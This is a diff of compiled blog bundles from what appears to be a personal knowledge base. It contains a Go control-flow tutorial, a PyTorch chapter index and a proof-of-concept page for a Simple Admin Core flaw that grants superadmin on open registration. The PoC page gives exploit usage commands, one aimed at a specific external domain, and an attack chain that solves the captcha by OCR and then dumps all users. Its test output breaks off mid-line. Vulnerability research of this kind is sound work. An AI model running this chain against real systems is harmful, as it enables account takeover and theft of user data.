range"}),"\u904d\u5386\u7684\u8fd4\u56de\u503c\u6709\u4ee5\u4e0b\u89c4\u5f8b\uff1a"]}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"\u6570\u7ec4\u3001\u5207\u7247\u3001\u5b57\u7b26\u4e32\u8fd4\u56de\u7d22\u5f15\u548c\u503c\u3002"}),"\n",(0,i.jsx)(e.li,{children:"map\u8fd4\u56de\u952e\u548c\u503c\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u901a\u9053\uff08channel\uff09\u53ea\u8fd4\u56de\u901a\u9053\u5185\u7684\u503c\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.h2,{id:"switch-case",children:"switch case"}),"\n",(0,i.jsxs)(e.p,{children:["\u4f7f\u7528",(0,i.jsx)(e.code,{children:"switch"}),"\u8bed\u53e5\u53ef\u65b9\u4fbf\u5730\u5bf9\u5927\u91cf\u7684\u503c\u8fdb\u884c\u6761\u4ef6\u5224\u65ad\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func switchDemo1() {\n\tfinger := 3\n\tswitch finger {\n\tcase 1:\n\t\tfmt.Println("\u5927\u62c7\u6307")\n\tcase 2:\n\t\tfmt.Println("\u98df\u6307")\n\tcase 3:\n\t\tfmt.Println("\u4e2d\u6307")\n\tcase 4:\n\t\tfmt.Println("\u65e0\u540d\u6307")\n\tcase 5:\n\t\tfmt.Println("\u5c0f\u62c7\u6307")\n\tdefault:\n\t\tfmt.Println("\u65e0\u6548\u7684\u8f93\u5165\uff01")\n\t}\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u89c4\u5b9a\u6bcf\u4e2a",(0,i.jsx)(e.code,{children:"switch"}),"\u53ea\u80fd\u6709\u4e00\u4e2a",(0,i.jsx)(e.code,{children:"default"}),"\u5206\u652f\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u4e00\u4e2a\u5206\u652f\u53ef\u4ee5\u6709\u591a\u4e2a\u503c\uff0c\u591a\u4e2acase\u503c\u4e2d\u95f4\u4f7f\u7528\u82f1\u6587\u9017\u53f7\u5206\u9694\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func testSwitch3() {\n\tswitch n := 7; n {\n\tcase 1, 3, 5, 7, 9:\n\t\tfmt.Println("\u5947\u6570")\n\tcase 2, 4, 6, 8:\n\t\tfmt.Println("\u5076\u6570")\n\tdefault:\n\t\tfmt.Println(n)\n\t}\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5206\u652f\u8fd8\u53ef\u4ee5\u4f7f\u7528\u8868\u8fbe\u5f0f\uff0c\u8fd9\u65f6\u5019switch\u8bed\u53e5\u540e\u9762\u4e0d\u9700\u8981\u518d\u8ddf\u5224\u65ad\u53d8\u91cf\u3002\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func switchDemo4() {\n\tage := 30\n\tswitch {\n\tcase age < 25:\n\t\tfmt.Println("\u597d\u597d\u5b66\u4e60\u5427")\n\tcase age > 25 && age < 35:\n\t\tfmt.Println("\u597d\u597d\u5de5\u4f5c\u5427")\n\tcase age > 60:\n\t\tfmt.Println("\u597d\u597d\u4eab\u53d7\u5427")\n\tdefault:\n\t\tfmt.Println("\u6d3b\u7740\u771f\u597d")\n\t}\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"fallthrough"}),"\u8bed\u6cd5\u53ef\u4ee5\u6267\u884c\u6ee1\u8db3\u6761\u4ef6\u7684case\u7684\u4e0b\u4e00\u4e2acase\uff0c\u662f\u4e3a\u4e86\u517c\u5bb9C\u8bed\u8a00\u4e2d\u7684case\u8bbe\u8ba1\u7684\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func switchDemo5() {\n\ts := "a"\n\tswitch {\n\tcase s == "a":\n\t\tfmt.Println("a")\n\t\tfallthrough\n\tcase s == "b":\n\t\tfmt.Println("b")\n\tcase s == "c":\n\t\tfmt.Println("c")\n\tdefault:\n\t\tfmt.Println("...")\n\t}\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"a\nb\n"})}),"\n",(0,i.jsx)(e.h2,{id:"goto\u8df3\u8f6c\u5230\u6307\u5b9a\u6807\u7b7e",children:"goto(\u8df3\u8f6c\u5230\u6307\u5b9a\u6807\u7b7e)"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"goto"}),"\u8bed\u53e5\u901a\u8fc7\u6807\u7b7e\u8fdb\u884c\u4ee3\u7801\u95f4\u7684\u65e0\u6761\u4ef6\u8df3\u8f6c\u3002",(0,i.jsx)(e.code,{children:"goto"}),"\u8bed\u53e5\u53ef\u4ee5\u5728\u5feb\u901f\u8df3\u51fa\u5faa\u73af\u3001\u907f\u514d\u91cd\u590d\u9000\u51fa\u4e0a\u6709\u4e00\u5b9a\u7684\u5e2e\u52a9\u3002Go\u8bed\u8a00\u4e2d\u4f7f\u7528",(0,i.jsx)(e.code,{children:"goto"}),"\u8bed\u53e5\u80fd\u7b80\u5316\u4e00\u4e9b\u4ee3\u7801\u7684\u5b9e\u73b0\u8fc7\u7a0b\u3002 \u4f8b\u5982\u53cc\u5c42\u5d4c\u5957\u7684for\u5faa\u73af\u8981\u9000\u51fa\u65f6\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func gotoDemo1() {\n\tvar breakFlag bool\n\tfor i := 0; i < 10; i++ {\n\t\tfor j := 0; j < 10; j++ {\n\t\t\tif j == 2 {\n\t\t\t\t// \u8bbe\u7f6e\u9000\u51fa\u6807\u7b7e\n\t\t\t\tbreakFlag = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tfmt.Printf("%v-%v\\n", i, j)\n\t\t}\n\t\t// \u5916\u5c42for\u5faa\u73af\u5224\u65ad\n\t\tif breakFlag {\n\t\t\tbreak\n\t\t}\n\t}\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u4f7f\u7528",(0,i.jsx)(e.code,{children:"goto"}),"\u8bed\u53e5\u80fd\u7b80\u5316\u4ee3\u7801\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func gotoDemo2() {\n\tfor i := 0; i < 10; i++ {\n\t\tfor j := 0; j < 10; j++ {\n\t\t\tif j == 2 {\n\t\t\t\t// \u8bbe\u7f6e\u9000\u51fa\u6807\u7b7e\n\t\t\t\tgoto breakTag\n\t\t\t}\n\t\t\tfmt.Printf("%v-%v\\n", i, j)\n\t\t}\n\t}\n\treturn\n\t// \u6807\u7b7e\nbreakTag:\n\tfmt.Println("\u7ed3\u675ffor\u5faa\u73af")\n}\n'})}),"\n",(0,i.jsx)(e.h2,{id:"break\u8df3\u51fa\u5faa\u73af",children:"break(\u8df3\u51fa\u5faa\u73af)"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"break"}),"\u8bed\u53e5\u53ef\u4ee5\u7ed3\u675f",(0,i.jsx)(e.code,{children:"for"}),"\u3001",(0,i.jsx)(e.code,{children:"switch"}),"\u548c",(0,i.jsx)(e.code,{children:"select"}),"\u7684\u4ee3\u7801\u5757\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"break"}),"\u8bed\u53e5\u8fd8\u53ef\u4ee5\u5728\u8bed\u53e5\u540e\u9762\u6dfb\u52a0\u6807\u7b7e\uff0c\u8868\u793a\u9000\u51fa\u67d0\u4e2a\u6807\u7b7e\u5bf9\u5e94\u7684\u4ee3\u7801\u5757\uff0c\u6807\u7b7e\u8981\u6c42\u5fc5\u987b\u5b9a\u4e49\u5728\u5bf9\u5e94\u7684",(0,i.jsx)(e.code,{children:"for"}),"\u3001",(0,i.jsx)(e.code,{children:"switch"}),"\u548c ",(0,i.jsx)(e.code,{children:"select"}),"\u7684\u4ee3\u7801\u5757\u4e0a\u3002 \u4e3e\u4e2a\u4f8b\u5b50\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func breakDemo1() {\nBREAKDEMO1:\n\tfor i := 0; i < 10; i++ {\n\t\tfor j := 0; j < 10; j++ {\n\t\t\tif j == 2 {\n\t\t\t\tbreak BREAKDEMO1\n\t\t\t}\n\t\t\tfmt.Printf("%v-%v\\n", i, j)\n\t\t}\n\t}\n\tfmt.Println("...")\n}\n'})}),"\n",(0,i.jsx)(e.h2,{id:"continue\u7ee7\u7eed\u4e0b\u6b21\u5faa\u73af",children:"continue(\u7ee7\u7eed\u4e0b\u6b21\u5faa\u73af)"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"continue"}),"\u8bed\u53e5\u53ef\u4ee5\u7ed3\u675f\u5f53\u524d\u5faa\u73af\uff0c\u5f00\u59cb\u4e0b\u4e00\u6b21\u7684\u5faa\u73af\u8fed\u4ee3\u8fc7\u7a0b\uff0c\u4ec5\u9650\u5728",(0,i.jsx)(e.code,{children:"for"}),"\u5faa\u73af\u5185\u4f7f\u7528\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5728 ",(0,i.jsx)(e.code,{children:"continue"}),"\u8bed\u53e5\u540e\u6dfb\u52a0\u6807\u7b7e\u65f6\uff0c\u8868\u793a\u5f00\u59cb\u6807\u7b7e\u5bf9\u5e94\u7684\u5faa\u73af\u3002\u4f8b\u5982\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func continueDemo() {\nforloop1:\n\tfor i := 0; i < 5; i++ {\n\t\t// forloop2:\n\t\tfor j := 0; j < 5; j++ {\n\t\t\tif i == 2 && j == 2 {\n\t\t\t\tcontinue forloop1\n\t\t\t}\n\t\t\tfmt.Printf("%v-%v\\n", i, j)\n\t\t}\n\t}\n}\n'})})]})}function h(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(a,{...n})}):a(n)}}}]); \ No newline at end of file diff --git a/assets/js/11c09c5f.8a1ea221.js b/assets/js/11c09c5f.8a1ea221.js new file mode 100644 index 0000000..aa18bb9 --- /dev/null +++ b/assets/js/11c09c5f.8a1ea221.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5925],{28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>c});var r=n(96540);const s={},l=r.createContext(s);function i(e){const t=r.useContext(l);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function c(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),r.createElement(l.Provider,{value:t},e.children)}},43159:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>d,contentTitle:()=>c,default:()=>a,frontMatter:()=>i,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/README","title":"\u7b2c\u5341\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406"},"next":{"title":"10.1 \u56fe\u50cf\u5206\u7c7b.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b"}}');var s=n(74848),l=n(28453);const i={},c="\u7b2c\u5341\u7ae0",d={},o=[];function h(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"\u7b2c\u5341\u7ae0",children:"\u7b2c\u5341\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:40"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u7b2c\u5341\u7ae0\u5e38\u89c1\u4ee3\u7801\u89e3\u8bfb",children:"\u7b2c\u5341\u7ae0\uff1a\u5e38\u89c1\u4ee3\u7801\u89e3\u8bfb"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n10.1 \u56fe\u50cf\u5206\u7c7b\n10.2 \u76ee\u6807\u68c0\u6d4b\n10.3 \u56fe\u50cf\u5206\u5272\nResNet\u6e90\u7801\u89e3\u8bfb\nRNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0\nLSTM\u89e3\u8bfb\u53ca\u5b9e\u6218\nTransformer \u89e3\u8bfb\nViT\u89e3\u8bfb\nSwin-Transformer\u89e3\u8bfb\n"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/assets/js/12bdce0e.41f56661.js b/assets/js/12bdce0e.41f56661.js new file mode 100644 index 0000000..ee0f33f --- /dev/null +++ b/assets/js/12bdce0e.41f56661.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9197],{28453:(e,n,t)=>{t.d(n,{R:()=>i,x:()=>c});var s=t(96540);const d={},r=s.createContext(d);function i(e){const n=s.useContext(r);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(d):e.components||d:i(e.components),s.createElement(r.Provider,{value:n},e.children)}},93899:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>l,contentTitle:()=>c,default:()=>a,frontMatter:()=>i,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458","title":"\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458 \u2014 PoC","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/06.Simple Admin/01.\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/01.\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/06.Simple Admin/01.\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/06.Simple Admin/01.\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/01.\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7985\u9053 action.ajaxGetList \u672a\u6388\u6743\u6cc4\u9732\u5230 Getshell \u8bfb\u53d6 /flag WP","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp"},"next":{"title":"\u7528\u53cb YonBIP NCSysBrokerServlet \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u6df1\u5ea6\u5206\u6790","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)"}}');var d=t(74848),r=t(28453);const i={},c="\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458 \u2014 PoC",l={},o=[{value:"\u6587\u4ef6",id:"\u6587\u4ef6",level:2},{value:"\u4f7f\u7528",id:"\u4f7f\u7528",level:2},{value:"\u653b\u51fb\u94fe",id:"\u653b\u51fb\u94fe",level:2},{value:"\u5b9e\u6d4b\u7ed3\u679c\uff082026-08-28\uff0c\u672c\u5730\u6388\u6743\u73af\u5883\uff09",id:"\u5b9e\u6d4b\u7ed3\u679c2026-08-28\u672c\u5730\u6388\u6743\u73af\u5883",level:2}];function h(e){const n={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(n.header,{children:(0,d.jsx)(n.h1,{id:"\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458--poc",children:"\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458 \u2014 PoC"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(n.table,{children:[(0,d.jsx)(n.thead,{children:(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,d.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,d.jsx)(n.tbody,{children:(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{style:{textAlign:"left"},children:(0,d.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"2026-08-29 00:22:46"})]})})]}),"\n",(0,d.jsxs)(n.p,{children:["Simple Admin Core \u516c\u5f00\u6ce8\u518c\u63a5\u53e3 ",(0,d.jsx)(n.code,{children:"/user/register"})," \u65e0\u4efb\u4f55\u9274\u6743/\u98ce\u63a7\uff0c\u6ce8\u518c\u5373\u7ed1\u5b9a\u914d\u7f6e\u9879\n",(0,d.jsx)(n.code,{children:"ProjectConf.DefaultRoleId"}),"\uff08\u9ed8\u8ba4 ",(0,d.jsx)(n.strong,{children:"1"}),"\uff09\u5bf9\u5e94\u89d2\u8272\uff1b\u521d\u59cb\u5316\u6570\u636e\u4e2d\u89d2\u8272 1 = ",(0,d.jsx)(n.code,{children:"role.admin"}),"\n\uff08code ",(0,d.jsx)(n.code,{children:"001"}),"\uff0c\u8d85\u7ea7\u7ba1\u7406\u5458\uff09\uff0c\u4e14\u88ab\u521d\u59cb\u5316 Casbin \u7b56\u7565\u6388\u4e88\u5168\u90e8 API \u8def\u5f84\u6743\u9650\u3002\n\u653b\u51fb\u8005\u4ec5\u9700\u7528 ",(0,d.jsx)(n.strong,{children:"ddddocr"})," \u81ea\u52a8\u8bc6\u522b 5 \u4f4d\u56fe\u5f62\u9a8c\u8bc1\u7801\u5373\u53ef\u6ce8\u518c\u8d85\u7ea7\u7ba1\u7406\u5458\u8d26\u53f7\u3002"]}),"\n",(0,d.jsx)(n.h2,{id:"\u6587\u4ef6",children:"\u6587\u4ef6"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(n.table,{children:[(0,d.jsx)(n.thead,{children:(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.th,{children:"\u6587\u4ef6"}),(0,d.jsx)(n.th,{children:"\u8bf4\u660e"})]})}),(0,d.jsxs)(n.tbody,{children:[(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{children:(0,d.jsx)(n.code,{children:"poc.py"})}),(0,d.jsxs)(n.td,{children:["\u5168\u94fe\u8def PoC\uff1addddocr \u8bc6\u522b\u9a8c\u8bc1\u7801 \u2192 \u6ce8\u518c \u2192 \u767b\u5f55 \u2192 JWT \u53d6\u8bc1 \u2192 \u8c03\u7528 ",(0,d.jsx)(n.code,{children:"/user/list"})," \u83b7\u53d6\u5168\u90e8\u7528\u6237\u8bc1\u660e\uff08\u81ea\u52a8\u5ffd\u7565 TLS \u8bc1\u4e66\u6821\u9a8c\uff09"]})]}),(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{children:(0,d.jsx)(n.code,{children:"requirements.txt"})}),(0,d.jsxs)(n.td,{children:["\u4f9d\u8d56\uff1a",(0,d.jsx)(n.code,{children:"ddddocr requests numpy pillow"})]})]})]})]}),"\n",(0,d.jsx)(n.h2,{id:"\u4f7f\u7528",children:"\u4f7f\u7528"}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{className:"language-bash",children:"pip install -r requirements.txt\n\n# \u9ed8\u8ba4\u76ee\u6807: http://127.0.0.1:5666 (API \u524d\u7f00 /sys-api \u5df2\u5185\u7f6e, \u65e0\u9700\u8ffd\u52a0)\npython3 poc.py\n\n# \u8fdc\u7a0b HTTPS \u76ee\u6807 (\u81ea\u52a8\u5ffd\u7565 TLS \u8bc1\u4e66\u6821\u9a8c)\npython3 poc.py --target https://bbxt.greenelectricity.cn\n\n# \u8d70\u4ee3\u7406 (HTTP/SOCKS)\npython3 poc.py --target https://bbxt.greenelectricity.cn --proxy http://127.0.0.1:7890\n\n# \u6307\u5b9a\u8d26\u53f7\npython3 poc.py --username poc_admin --password 'Test@123456' --email poc@example.com\n"})}),"\n",(0,d.jsx)(n.p,{children:"\u53c2\u6570\u8bf4\u660e\uff1a"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(n.table,{children:[(0,d.jsx)(n.thead,{children:(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.th,{children:"\u53c2\u6570"}),(0,d.jsx)(n.th,{children:"\u8bf4\u660e"})]})}),(0,d.jsxs)(n.tbody,{children:[(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{children:(0,d.jsx)(n.code,{children:"--target"})}),(0,d.jsxs)(n.td,{children:["\u76ee\u6807\u4e3b\u673a\u6839\u5730\u5740\uff08HTTP/HTTPS \u5747\u53ef\uff09\uff0c\u9ed8\u8ba4 ",(0,d.jsx)(n.code,{children:"http://127.0.0.1:5666"}),"\uff1b",(0,d.jsx)(n.code,{children:"/sys-api"})," \u524d\u7f00\u5df2\u5199\u6b7b\u5728\u4ee3\u7801\u4e2d\uff0c",(0,d.jsx)(n.strong,{children:"\u65e0\u9700"}),"\u5728 ",(0,d.jsx)(n.code,{children:"--target"})," \u4e2d\u8ffd\u52a0"]})]}),(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{children:(0,d.jsx)(n.code,{children:"--proxy"})}),(0,d.jsxs)(n.td,{children:["\u4ee3\u7406\u5730\u5740\uff0c\u5982 ",(0,d.jsx)(n.code,{children:"http://127.0.0.1:7890"}),"\u3001",(0,d.jsx)(n.code,{children:"socks5://127.0.0.1:1080"})]})]}),(0,d.jsxs)(n.tr,{children:[(0,d.jsxs)(n.td,{children:[(0,d.jsx)(n.code,{children:"--username"})," / ",(0,d.jsx)(n.code,{children:"--password"})," / ",(0,d.jsx)(n.code,{children:"--email"})]}),(0,d.jsx)(n.td,{children:"\u6ce8\u518c\u8d26\u53f7\u4fe1\u606f\uff08\u9ed8\u8ba4\u968f\u673a\u7528\u6237\u540d\u4e0e\u90ae\u7bb1\uff09"})]})]})]}),"\n",(0,d.jsxs)(n.blockquote,{children:["\n",(0,d.jsxs)(n.p,{children:["PoC \u9ed8\u8ba4\u5ffd\u7565 TLS \u8bc1\u4e66\u6821\u9a8c\uff08",(0,d.jsx)(n.code,{children:"verify=False"}),"\uff09\uff0c\u9002\u7528\u4e8e\u8bc1\u4e66\u57df\u540d\u4e0d\u5339\u914d\u7684\u76ee\u6807\u3002\n\u9a8c\u8bc1\u8d26\u53f7\u9ed8\u8ba4\u968f\u673a\u547d\u540d\uff0c\u8bf7\u6d4b\u8bd5\u5b8c\u6210\u540e\u5728\u7cfb\u7edf\u4e2d\u624b\u52a8\u5220\u9664\u3002"]}),"\n"]}),"\n",(0,d.jsx)(n.h2,{id:"\u653b\u51fb\u94fe",children:"\u653b\u51fb\u94fe"}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{children:'GET /captcha (\u516c\u5f00) -> captchaId + \u9a8c\u8bc1\u7801\u56fe\u7247 (base64Captcha digit, 5\u4f4d\u6570\u5b57)\nddddocr \u8bc6\u522b\u9a8c\u8bc1\u7801\nPOST /user/register (\u516c\u5f00, \u65e0 JWT) -> \u65b0\u7528\u6237 RoleIds=[1] (role.admin / code 001 / \u8d85\u7ea7\u7ba1\u7406\u5458)\nPOST /user/login (\u516c\u5f00) -> JWT payload: roleId="001"\nPOST /user/list (\u9700 JWT) -> Casbin \u653e\u884c, \u53ef\u83b7\u53d6\u5168\u90e8\u7528\u6237\u6570\u636e, \u8bc1\u660e\u5229\u7528\u6210\u529f\n'})}),"\n",(0,d.jsx)(n.h2,{id:"\u5b9e\u6d4b\u7ed3\u679c2026-08-28\u672c\u5730\u6388\u6743\u73af\u5883",children:"\u5b9e\u6d4b\u7ed3\u679c\uff082026-08-28\uff0c\u672c\u5730\u6388\u6743\u73af\u5883\uff09"}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{children:'[+] \u9a8c\u8bc1\u7801\u8bc6\u522b\u6210\u529f captchaId=22bj0Hc7GVF6HnaAxTjb 